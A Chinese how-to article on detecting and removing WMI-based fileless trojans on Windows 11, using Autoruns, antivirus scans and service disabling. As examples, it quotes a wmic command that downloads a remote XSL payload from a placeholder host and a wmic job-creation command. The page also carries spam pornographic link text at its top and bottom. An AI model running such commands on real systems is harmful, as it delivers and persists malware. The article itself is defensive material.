av一区二区在线观看_亚洲男人的天堂网站_日韩亚洲视频_在线成人免费_欧美日韩精品免费观看视频_久草视

您的位置:首頁技術文章
文章詳情頁

怎么徹查Win11的WMI木馬

瀏覽:80日期:2023-05-21 11:10:12

WMI是一個windows11系統中非常核心的功能,我們可以通過運用這個功能來實現腳本部署、進程枚舉、監控目錄修改等常見的操作,但是總有一些不懷好意的人對此進行木馬病毒的植入,一旦WMI被植入木馬病毒,由于其特殊性,會對我們的系統造成非常嚴重的損傷,那么該如何解決這個問題呢?感興趣的小伙伴們可以往下看看。

怎么徹查Win11的WMI木馬

Win11 WMI木馬查殺方法分享

1. 了解WMI惡意軟件的運行機制

如上所述,WMI具備的功能非常豐富,對于黑客來說只要利用其中的命令就可以完成很多操作。比如獲得相應的權限后,在目標電腦上使用“wmic os get /FORMAT:"http://www.xxxx.com:80/123.xsl"”命令就可以實現從網站服務器上下載所需的惡意軟件123.xsl(圖1)。

怎么徹查Win11的WMI木馬

當然在實際運行中,這些惡意軟件還可以利用WMI進行更多的操作,如使用“wmic job call create "123.exe",0,0,true,false,********154800.000000+480”命令創建一個在后臺運行的任務計劃,甚至可以執行創建系統服務、將DLL文件注入系統進程等操作。因為這里使用的都是系統命令(wmic.exe),并不像常規的木馬、病毒那樣由本體執行,所以稱之為“無文件”(嚴格來說是WMI腳本運行,腳本被觸發后執行下載木馬等操作)方式運行。比如臭名昭著的“KingMiner挖礦木馬”,它通過WMI事件訂閱來不斷地觸發木馬在后臺運行。

●火速鏈接:

本刊2018年6期文章《解決WMI進程資源占用的問題》介紹了WMI的相關知識。

2. 發現和識別WMI惡意軟件

WMI木馬的一個重要特性就是借助WMI腳本來下載或者激活木馬運行。比如某WMI挖礦木馬感染電腦后會在系統里生成一個任務計劃,任務會在后臺連接到服務器下載挖礦木馬。挖礦木馬運行后會占用系統大量的資源和帶寬,導致Windows在日常使用時運行緩慢,網頁打開速度也變得很慢,且電腦的硬盤指示燈一直在閃爍(因為木馬會在后臺不斷地讀取數據)。如果自己的電腦在使用時有上述的異?,F象,那么就需要使用安全軟件檢查是否中了木馬。

Windows 10用戶可以先使用系統自帶的“安全中心”進行查殺,如果無法解決問題則可以借助一些木馬專殺軟件,如火絨惡性木馬專殺工具(https://bbs.huorong.cn/thread-18575-1-1.html)進行查殺,啟動軟件后點擊“立即掃描”,常見的木馬(包括WMI木馬)一般都可以被自動查殺(圖2)。

怎么徹查Win11的WMI木馬

不過,如果中了WMI木馬,安全軟件只會將WMI腳本下載的木馬文件刪除,但是無法完全斬斷WMI木馬文件的下載途徑,如上述介紹的WMI挖礦木馬就是利用任務計劃進行下載。因為任務計劃中并沒有惡意軟件,安全軟件是不會將其刪除的,所以通過專殺軟件刪除木馬后,每次重啟系統掃描后還是一直提示發現木馬文件,那么就極可能中了WMI木馬,這時就還需要對系統的啟動項進行檢查,查看是否有異常的啟動項。

系統啟動項檢查可以借助Autoruns來完成(https://docs.microsoft.com/zh-cn/sysinternals/downloads/autoruns),啟動程序后它會自動對本機所有的啟動項目進行檢測,包括計劃任務、服務、WMI等(圖3)。

怎么徹查Win11的WMI木馬

比如筆者公司的一臺電腦在執行安全掃描時就發現木馬文件無法徹底刪除的現象,在本機運行Autoruns后切換到“計劃任務”,在打開的窗口中就可以看到后臺所有的任務計劃。對于沒有數字簽名的任務,程序會使用淺紅色進行標注,可以看到本機中一個名為“lsmosee”的任務極為可疑,它加載的是本機臨時目錄中的一個VBS文件(圖4)。

怎么徹查Win11的WMI木馬

在上圖選中“lsmosee”并右擊,選擇“跳轉到文件夾”,在打開的文件夾中根據圖上“鏡像路徑”的提示,使用記事本打開“54236.vbs”文件,其中顯示的正是一些WMI腳本的內容,它的作用就是在后臺定時下載木馬文件。現在按提示將其刪除。接著返回上圖,選中“lsmosee”任務并點擊“刪除”,這樣就可以切斷木馬的下載通道。最后使用火絨安全軟件再掃描一遍電腦,刪除其他帶毒的文件后,問題得到順利的解決(圖5)。

怎么徹查Win11的WMI木馬

3. 一勞永逸封禁WMI木馬下載

WMI木馬難以查殺的原因就是由于它的下載方式是通過WMI腳本實現,而且WMI腳本激活的方法很多(如上例為任務計劃,有些則是使用進程注入等),不過WMI腳本的運行要依賴“WMI Performance Adapter”服務,因此對于個人用戶來說,可以通過停用服務的方法來禁止WMI腳本的運行。在桌面的任務欄搜索框中輸入“服務”,打開服務管理組件后找到上述服務,雙擊打開后將其停止,并將其啟動類型設置為“禁用”,這樣本機所有的WMI腳本就無法運行了(圖6)。

怎么徹查Win11的WMI木馬

注意:

禁用WMI服務可能會導致一些網絡服務無法使用。禁用服務如果影響電腦使用,請及時進行恢復。

上文就是小編為您帶來的Win11 WMI木馬查殺方法了,若還有疑問請多多關注好吧啦網手機教程頻道!

標簽: Windows系統 win11
相關文章:
主站蜘蛛池模板: 淫片一级国产 | 欧美色综合一区二区三区 | 一区二区三区视频免费看 | 女生羞羞网站 | 欧美一级欧美一级在线播放 | 日韩中文字幕在线观看 | 激情欧美日韩一区二区 | 天天综合网天天综合色 | 国产成人精品免费视频 | 国产午夜精品一区二区三区嫩草 | 日韩免费一区二区 | 日韩精品一区二区三区在线播放 | 日韩国产中文字幕 | 欧美日韩一区精品 | 一级大黄色片 | 日韩中文字幕 | 色久电影 | 人碰人操 | 亚洲欧美中文日韩在线v日本 | 操一草 | 91综合在线观看 | 日日爽| 亚洲一区在线播放 | 福利社午夜影院 | 美女视频黄色片 | 日韩免费一二三区 | 欧美成人一区二区三区片免费 | 亚洲综合大片69999 | 久久精品亚洲 | 极品粉嫩国产48尤物在线播放 | 国产视频精品免费 | 免费午夜电影 | 亚洲福利一区二区 | 老妇激情毛片免费 | 中文字幕一区二区三区在线视频 | 亚洲欧美精品 | 91精品久久久久久久久 | 亚洲免费一区二区 | 久久成人免费 | 中文字幕日韩欧美 | 一区二区三区免费观看 |